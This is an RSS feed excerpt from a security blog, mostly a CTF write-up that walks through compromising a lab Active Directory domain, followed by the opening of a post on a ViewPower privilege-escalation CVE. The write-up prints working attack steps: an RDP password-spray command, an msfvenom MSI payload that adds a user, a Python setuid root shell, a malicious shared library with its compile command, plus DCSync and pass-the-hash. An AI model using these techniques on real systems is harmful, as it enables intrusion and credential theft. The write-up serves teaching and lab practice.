&lt;p&gt;Now, with the user, we can spray the entire domain and check if it has any access. You can use for instance &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crackmapexec&lt;/code&gt; for that, however, it will only verify either if the credential is true or if it’s an administrator. To check for RDP access you need to pass the correct module to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crackmapexec&lt;/code&gt; or use a different tool. One suggestion was to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crowbar&lt;/code&gt; such as: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crowbar -b rdp -s 192.168.111.0/24 -u sedalfino.freitas -c Summer2022&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;This will spray the credential through the entire domain and luckily you’ll get one hit&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal1-3.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;.&lt;/p&gt;

&lt;p&gt;Looks like that user has RDP access to LAB-WIN6! Using a simple client such as Remmina you could connect to the machine and get the first flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal1-4.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{OneSmallFootInTheEnterprise}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;challenge---stairway-to-heaven&quot;&gt;Challenge - Stairway to Heaven!&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Larapios Group states that they can completely compromise the machine and gain Administrator access through a misconfiguration!

Cement your access by replicating this and get your points!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that you have a machine you can try and privesc.
If you use some helper script such as PowerUP.ps1  or WinPEAS you’ll notice that two registry keys are installed that allow the installation of programs in an elevated context.
You can use msfvenom to create a malicious installer and abuse this to obtain Administrative privileges!&lt;/p&gt;

&lt;p&gt;You can use payloads such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfvenom -p windows/adduser USER=cenas PASSWORD=P@ssw0rd132!&quot; -f msi -o file.msi&lt;/code&gt; to create the payload. Since this is an MSI and it will install something, windows, with this configuration, will automatically install using an elevated prompt. But since we injected that payload, a new user will be created.&lt;/p&gt;

&lt;p&gt;One of the problems was to upload such detection files there (WinPEAS or PowerUp) since no Internet connection was available. One interesting feature of RDP and Windows is the ability to mount remote folders or drives on the server. In remmina configuration you just need to specify the “Share folder” and it will mount as a remote volume:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal2.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;After running the installation and pwning the machine we can connect with the new user and get the privileged flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal2-1.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{wholeLegInTheEnterprise}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;other-os-are-people-2--shells-shells-shells&quot;&gt;Other OS Are People 2 &amp;amp; Shells, Shells, Shells&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Larapios said there are some Linux machines loose in the environment and the System Administrator reuses their credentials 😩.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;There is more than one Linux OS server. Can you find it in the network and access it using your *repertoire* of pwned passwords?
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But we are not done yet! When you compromise a Windows machine, one of the first things you do is dump secrets such as the LSASS process. In that process lies hashes and sometimes passwords that users who connect to the machine use or services of the same machine.&lt;/p&gt;

&lt;p&gt;If you use mimikatz to dump these secrets you’ll get a new credential to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bacano.do.it&lt;/code&gt;!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal2-2.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;Following the same strategy we needed to scan the environment to see where those credentials are being used.&lt;/p&gt;

&lt;p&gt;One caveat is that these would be used on SSH connections and no RDP/SMB connections. This credential is used on the two Linux machines.&lt;/p&gt;

&lt;p&gt;Only for using that credential, you are greeted with two flags:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal3.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{pinguinsRPeople2}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{OneMore4TheRoad}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;challenge---captain-pwn&quot;&gt;Challenge - CAPtain Pwn!&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;The System Administrator was having trouble getting scripts to run but found a way to always work!
Can you abuse the misconfiguration and pwn the machine?
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After you get the easy flag you’ll need to compromise the machine.
To do that we can use another helper script, such as LINPEAS.
In the plethora of information, you’ll notice a warning for a privesc.&lt;/p&gt;

&lt;p&gt;The title of the challenge resembles CAP, from capabilities, Linux Capabilities and we have a lot of them to explore (i.e. from &lt;a href=&quot;https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities&quot;&gt;hacktricks&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal4.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can see that Python has the &lt;em&gt;capability&lt;/em&gt; to set the UID of the running program. This means we can control what the user is running. A simple payload in Python to change the current user can be used to escalate privileges:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scChal4-1.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;import os;
os.setuid(0);
os.system(&quot;/bin/bash&quot;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{HelloCAPtain}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;challenge---so-cute&quot;&gt;Challenge - SO Cute!&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Infrastructure logs show weird behavior on one binary left in the server but we couldn&apos;t discover how can we abuse it to render the server to its knees. Everything is patched so there will be a challenge.

Can you analyze the server and look for ways to overcome its security?
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Following the same principle you can run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;linpeas&lt;/code&gt; in this environment to look for interesting files and privileges.&lt;/p&gt;

&lt;p&gt;Down the rabbit hole, you should see a strange binary that has the SETUID flag set.&lt;/p&gt;

&lt;p&gt;That permission allows the binary to act as a privileged user. Some binaries are standard on a system, for instance, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unix_chpwd&lt;/code&gt; tool can be executed by anyone even though by nature it requires additional privileges.&lt;/p&gt;

&lt;p&gt;For that kind of binary, we should guarantee that there is one way to inject code or change the execution flow by an outside party.&lt;/p&gt;

&lt;p&gt;If we can manipulate the flow, we can impersonate the binary owner, in this case, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The binary &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;magician&lt;/code&gt; is not very common and does not belong to the standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setuid&lt;/code&gt; binary list.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/socutelinpeas.png&quot; alt=&quot;SETUID binary Linpeas&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If you execute the binary without any arguments you should see a string &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Infosec Magic&lt;/code&gt;, definitely not standard.&lt;/p&gt;

&lt;p&gt;We can try and fiddle around with the binary or just open Ghidra and try to reverse it.&lt;/p&gt;

&lt;p&gt;I opt for a different strategy and use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strace&lt;/code&gt; to look for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system calls&lt;/code&gt; that the application makes to understand how can I abuse it.&lt;/p&gt;

&lt;p&gt;If you pass two arguments you can see that it tries to open some files (yes, this you might see easily on ghidra by reverse engineering the main function). You are then greeted with the message “Error Loading lib!”. This message is a hint to libraries, similar to DDLs on Windows. 
If you dig deeper you will see that it is trying to load a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.so&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/stracesocute.png&quot; alt=&quot;Strace SoCute &quot; /&gt;&lt;/p&gt;

&lt;p&gt;Similarly to DLLs, these are libraries imported to the program and if a program is trying to load one and you control the folder where it tries to run you can create a malicious library that will take control of the execution flow and impersonate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setuid&lt;/code&gt; binary privileges.&lt;/p&gt;

&lt;p&gt;To do that you need to create a standard library as such:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;

int _init(){
        setgid(0);
        setuid(0);

        execve(&quot;/bin/sh&quot;, NULL, NULL);
        return 0;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Take particular notice of the method name. It is not the standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; function. If you use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; it will not run when it is loaded, therefore you should use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_init&lt;/code&gt; and an entry point since it will get called to construct the library and gain execution.&lt;/p&gt;

&lt;p&gt;to finish you need to compile the library, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;as a library!&lt;/code&gt;. Otherwise, it will complain that you don’t have the proper entry point.&lt;/p&gt;

&lt;p&gt;To do that you just simply use:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gcc &amp;lt;file&amp;gt; -shared -o &amp;lt;name_of_the_compiled_file&amp;gt; -fPIC -nostartfiles
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pass the file to the function and you’ll see that you are now impersonating root and the box is owned!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/socutelibrary.png&quot; alt=&quot;VPN Client Isolation &quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{YouAreSOwelcome}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;spread-your-hacks&quot;&gt;Spread your hacks&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;You got in? Noice!
I heard they got a special machine for &quot;Important People&quot;, but they are not very security-focused and their automation is faulty. Can you access it?

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now you need to take a step back and reassess what you have. It is a good moment to look at the Active Directory and with the credentials that we have try to understand how the environment was built.&lt;/p&gt;

&lt;p&gt;There are several ways to achieve that depending on your preference.&lt;/p&gt;

&lt;p&gt;I am very fond of using old tools to achieve new objectives, for instance, I like to use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ADExplorer&lt;/code&gt; from SysInternals tools to explore the Active Directory.&lt;/p&gt;

&lt;p&gt;I prefer this tool to avoid the fallacy of trusting too much on a tool such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;BloodHound&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/adexplorer.png&quot; alt=&quot;ADExplorer&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Don’t take me wrong, BloodHound is a very good tool to detect paths of privilege escalation in the environment although it can leave out some interesting vectors for instance: you often want to go from a standard user to a Domain Admin, but you might not need that, if a user can reset other peoples’ passwords that is also a security problem and if you don’t take your query seriously you will leave those problems without being noticed. There are sensitive groups far beyond Domain Admins alike.&lt;/p&gt;

&lt;p&gt;Perhaps you can see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Bloodhound&lt;/code&gt; as a good way to start cleaning your Active Directory and later go deep with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ADExplorer&lt;/code&gt; to create additional rules to clean the environment.&lt;/p&gt;

&lt;p&gt;But I digress. Running ADExplorer we can examine almost all accounts. Being careful looking up all accounts we notice a small comment in the Active Directory Description:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/adexplorerdescription.png&quot; alt=&quot;AD Explorer Password Leak&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And we got a new account compromised! We could take &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crowbar&lt;/code&gt; or even &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;crackmapexec&lt;/code&gt; to scan the whole environment for RDP access and lo and behold we get access to the LAB-WIN7 machine.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/rdpspray.png&quot; alt=&quot;RDP Spray&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After scanning the machine we can quickly obtain the new flag and a new README file that we will look at later.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/win7flag.png&quot; alt=&quot;LAB-WIN7 flag&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{slowMovingRabbit}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;big-dollar-spender&quot;&gt;Big Dollar Spender&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;You in? Nice! Can you pwn it? Maybe...

They installed some shady service and hammered things down to make it work. Maybe it can be exploited in your favour.

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We need to push forward and try to escalate privileges in this machine. With the description, someone can infer that this is relatable to services being run. Using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PowerUp&lt;/code&gt; we scan for privesc opportunities and one comes up:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/win7privesc.png&quot; alt=&quot;LAB-WIN7 Privesc&quot; /&gt;&lt;/p&gt;

&lt;p&gt;One service &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Bajordas Champion of the World&lt;/code&gt; stands out. It is not a standard Windows service (obviously) and it has lax permissions such that a standard user can modify it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/win7powerup.png&quot; alt=&quot;LAB-WIN7 Privesc&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can invoke the abuse function and it will create a malicious binary to add a new administrator account that we can later use.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/win7serviceabuse.png&quot; alt=&quot;LAB-WIN7 Service Abuse&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After that, we can start the service. It will fail since the service would exit but our payload runs successfully, and we have an administrator account. We can collect the new flag and move along in the challenge!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/win7adminflag.png&quot; alt=&quot;LAB-WIN7 Admin Flag&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{GameON}&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;congratulations-you-are-being-backed-up-do-not-resist&quot;&gt;Congratulations You Are Being Backed Up, Do Not Resist&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;It seems Larapios Group achieved some level of persistence in a Management machine left in the environment but the normal compliance scans do not detect it?

It seems they are leaking information from the machine seamlessly, almost like a **backup**. I don&apos;t know, maybe it&apos;s Microsoft Active Directory black Magic.

Can you replicate the attack and gain access to the flag they left?
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We need to trace back and go to our second Windows machine (LAB-WIN7). There was a README file on the desktop with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;to use the printer using the account &amp;gt; impressora with PrintSvcFTW!&lt;/code&gt; text.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/printerpassword.png&quot; alt=&quot;Printer Account&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Well, we have an additional account. Now if we run Bloodhound or just try to spam all the other machines with the standard password spray you will get a new hit on a new folder to inspect!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/impressoraScan.png&quot; alt=&quot;Account impressora spray &quot; /&gt;&lt;/p&gt;

&lt;p&gt;The file server LAB-SHARE01 has a hidden share called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Admins$&lt;/code&gt; (Similar to the standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Admin$&lt;/code&gt; share but with an additional character to it blends in) where you can find the following text:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Se algo falhar usa isto do arco da velha, assim os admins nem compliance descobre ;)

PanadosComPaoChouricoChouricao1337!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;which translating means:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;If anything fails to use this from arco da velha, therefore neither admins nor compliance find it ;)

PanadosComPaoChouricoChouricao1337!
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/mgmtmsg.png&quot; alt=&quot;WIN-MGMT message&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Well there is indeed an account named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arco.da.velha&lt;/code&gt; and we can verify that that password is indeed the correct one, but it doesn’t give you access to other machines. Let’s hold progress with this account for a bit longer.&lt;/p&gt;

&lt;p&gt;You might also find that the account printer allows you to browse certain files in the WIN-MGMT machine. That was an unintended consequence of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Backup Operator&lt;/code&gt; permission. The intent was for the people to impersonate the account, activate the permission, and browse files to reach the flag &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{ItsNotALeakItsASurpriseBackup}&lt;/code&gt; stating that there is no Admin flag on the machine.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/flagitsnotaleak.png&quot; alt=&quot;flag it&apos;s not a leak&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;my-momma-said-i-could-by-anything-so-i-became-a-domain-controller&quot;&gt;My Momma Said I Could by Anything, so I Became a Domain Controller&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;It&apos;s OK, there are no weird domain admins in the group!
We are compliant, no one can access the domain controller. We are secure... or are we?
Larapios group can still dump all our environment, what is happening? 😱😨
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Going out of options we look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arco.da.velha&lt;/code&gt; account and we look at what permissions are we able to gather from it. If you manage to check the permissions of the DC itself you can observe that that account is able to perform a DCSync.&lt;/p&gt;

&lt;p&gt;DCSync is, in the lamest terms, the synchronization of Domain Controllers. This means that we can use the account to make ourselves a Domain Controller and replicate everything to us. This means all the accounts, computer accounts, everything…&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/bloodhound.png&quot; alt=&quot;Bloodhound Path&quot; /&gt;&lt;/p&gt;

&lt;p&gt;So we fire up mimikatz/Metasploit/whatever to attack and get all the accounts. However, we don’t get any passwords, just hashes.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/dcsync.png&quot; alt=&quot;Metasploit DCSync&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we can divide our approach here, we can pass the hash to the Domain Controller or any other machine, crack said passwords, or even Use the golden ticket to impersonate whoever we want. I won’t go into details since &lt;a href=&quot;https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket&quot;&gt;Hacktricks&lt;/a&gt; made such a great tutorial on how to perform each attack.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/pthDC.png&quot; alt=&quot;Pass The Hash&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After you get the DC flag &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{PwnadosComPao}&lt;/code&gt; you are not done yet :).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/lastflag.png&quot; alt=&quot;Pass The hash WIN-SHARE&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;all-your-files-belong-to-us&quot;&gt;All Your Files Belong to Us&lt;/h2&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Larapios Group left flags on all machines, tracing back your steps, is something missing?
Own Everything and Everyone!

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using the administrator credentials you are able to compromise the whole domain. If you go back to the WIN-SHARE machine you will see a new flag  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag{niceFindNeo}&lt;/code&gt; on the root of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;C:\&lt;/code&gt; drive, thus concluding the CTF!&lt;/p&gt;

&lt;p&gt;Essentially the following image shows how someone would do the whole CTF:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://www.0x90.zone/images/summerchal22/scSol.png&quot; alt=&quot;Pass The hash WIN-SHARE&quot; /&gt;&lt;/p&gt;

&lt;h1 id=&quot;conclusion-and-next-steps&quot;&gt;Conclusion and next steps&lt;/h1&gt;

&lt;p&gt;Although very complete this scenario was not without troubles. We built the environment with a severe degree of lack of resources, being on RAM or disk itself. The main problem was updating the images. If you read everything you will notice that we did not exploit any vulnerable software by itself, we compromised almost everything with misconfigurations or unwanted leaks that we found across all machines. When at first we were provisioning the environment we updated everything as best as possible, thinking that we shouldn’t be too far off since it was the newest image on Microsoft Download Center. Oh Boy were we wrong!&lt;/p&gt;

&lt;p&gt;We lack the updates from one year ago (more or less) and when we went live with the environment one challenge exploited the DC directly abusing the &lt;a href=&quot;https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2020-1472&quot;&gt;ZeroLogon&lt;/a&gt; vulnerability and warn us about it. Thank you @comet!&lt;/p&gt;

&lt;p&gt;After a very quick investigation of the logs we noticed that the service crashed while updating due to the lack of space in the server itself (we only allocated 20GB, in my day it was top of the line… I’m old). We expanded to 25GB and the update was then successful. Live and learn, live and learn. The most annoying thing was that Windows Update reported that “Everything was updated” which was a blunt lie.&lt;/p&gt;

&lt;p&gt;Luckily we had snapshots of everything… That was our second hurdle. We quickly roll back to the well-known good configuration to perform expansion of the disk and update it as fast as we can. However, we did not disable the rotation of the managed service accounts in our Active Directory, meaning that from time to time, depending on the configuration, some machine accounts rotate their password. This is an automatic process to provide additional security in case the computer account/managed service account key is compromised. However, if we roll back to a base image, most likely it will not have the newer keys and we can’t connect back to the domain. There are ways to fix this: rejoining the domain or resetting the active directory machine account password on both &lt;a href=&quot;https://activedirectoryfaq.com/2013/11/reset-computer-account-password-in-active-directory/&quot;&gt;ends&lt;/a&gt;. So crisis averted but to be kept in mind. Important note: I know that at the beginning I said that it was important to disable this… I forgot about it.&lt;/p&gt;

&lt;p&gt;This got me thinking.. humm I should invest in a central configuration management tool to automate all configurations if I need to recover the environment. Perhaps the next one.&lt;/p&gt;

&lt;p&gt;One thing that was completely missing was the collection of Security Events. We had no SIEM in place and it would be interesting to know what kind of techniques people were using at the moment and understand what improvements we could have made in our scenario.&lt;/p&gt;

&lt;p&gt;We couldn’t do it since we lack the storage and RAM space to even have a Wazuh or Elastic Stack Security Solution.&lt;/p&gt;

&lt;p&gt;Apart from that, the adventure continues. Thank you for your help in the creation and testing of the challenges @vibrio. Hope to prepare the next one!&lt;/p&gt;
</description>
        <pubDate>Tue, 07 Nov 2023 00:01:00 +0000</pubDate>
        <link>http://www.0x90.zone/ctf/2023/11/07/Oposec-Summer-Challange-Extravaganza.html</link>
        <guid isPermaLink="true">http://www.0x90.zone/ctf/2023/11/07/Oposec-Summer-Challange-Extravaganza.html</guid>
        
        
        <category>CTF</category>
        
      </item>
    
      <item>
        <title>Privilege Escalation on ViewPower - CVE-2021-30490</title>
        <description>&lt;h1 id=&quot;privilege-escalation-on-viewpower---cve-2021-30490&quot;&gt;Privilege Escalation on ViewPower - CVE-2021-30490&lt;/h1&gt;

&lt;p&gt;Lockdown over. Today I am going to present one of the most basic forms of privilege escalation on Windows Systems. This is nothing new.&lt;/p&gt;

&lt;p&gt;PowerView is software that helps you manage your UPS. It allows one to view the state of the battery and control some of the most basic functions. It is recommended by some UPS manufacturers such as Phasak. Unfortunately, it didn’t work for my model so I decided to investigate how it was configured.&lt;/p&gt;

&lt;h2 id=&quot;a-bit-about-windows-permissions&quot;&gt;A bit about Windows permissions&lt;/h2&gt;

&lt;p&gt;Similar to Linux, Windows offers a set of permissions on objects. These permissions can be applied to several instances, for example, the well-known files, registry keys, Active Directory Objects, …&lt;/p&gt;

&lt;p&gt;Permissions follow the Discretionary Access Control List (DACL) principle. More can be found at https://docs.microsoft.com/en-us/windows/win32/secauthz/dacls-and-aces.&lt;/p&gt;

&lt;p&gt;The DACL is composed of one or more Access Control Entries (ACE). That entry states if a user can or cannot access the resource.&lt;/p&gt;

&lt;p&gt;Sometimes the effective permissions on a resource need to be calculated (https://networkencyclopedia.com/effective-permissions). This can happen when you have a large group, but you want to restrict access to one user in particular.&lt;/p&gt;

&lt;p&gt;Permissions do not only refer to READ, WRITE, or Execute in Windows. There are several special permissions that, in certain conditions, can yield the same, or similar, effects (https://docs.microsoft.com/en-us/archive/msdn-magazine/2008/november/access-control-understanding-windows-file-and-registry-permissions).&lt;/p&gt;

&lt;p&gt;These permissions can be great to grant them granularly to users. However, some administrators just blatantly use the &lt;strong&gt;Full Control&lt;/strong&gt; permission set (you can’t have privilege escalation if you are already an administrator 😎).&lt;/p&gt;

